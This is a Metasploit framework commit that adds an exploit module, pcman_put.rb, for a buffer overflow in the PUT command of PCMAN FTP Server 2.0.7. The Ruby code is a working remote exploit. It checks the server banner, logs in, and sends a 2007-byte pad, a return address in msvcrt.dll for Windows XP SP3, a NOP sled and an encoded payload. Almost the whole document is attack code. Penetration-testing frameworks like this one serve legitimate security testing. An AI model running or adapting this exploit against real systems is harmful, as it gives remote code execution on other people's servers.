Land rapid7#6507, Add PCMAN FTP Server Buffer Overflow (PUT command)

Author: wchen-r7

modules/exploits/windows/ftp/pcman_put.rb

@@ -0,0 +1,80 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Ftp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'PCMAN FTP Server Buffer Overflow - PUT Command',
+      'Description'    => %q{
+          This module exploits a buffer overflow vulnerability found in the PUT command of the
+          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
+          credientials are enabled.
+      },
+      'Author'         =>
+          [
+            'Jay Turla',      # Initial Discovery -- @shipcod3
+            'Chris Higgins'   # msf Module -- @ch1gg1ns
+          ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'EDB',   '37731'],
+          [ 'OSVDB',   '94624']
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'process'
+        },
+      'Payload'        =>
+        {
+          'Space'   => 1000,
+          'BadChars'  => "\x00\x0A\x0D",
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Windows XP SP3 English',
+            {
+              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
+              'Offset' => 2007
+            }
+          ],
+        ],
+      'DisclosureDate' => 'Aug 07 2015',
+      'DefaultTarget'  => 0))
+  end
+
+  def check
+    connect_login
+    disconnect
+
+    if /220 PCMan's FTP Server 2\.0/ === banner
+      Exploit::CheckCode::Appears
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+
+  def exploit
+    connect_login
+
+    print_status('Generating payload...')
+    sploit = rand_text_alpha(target['Offset'])
+    sploit << [target.ret].pack('V')
+    sploit << make_nops(16)
+    sploit << payload.encoded
+
+    send_cmd( ["PUT", sploit], false )
+    disconnect
+  end
+
+end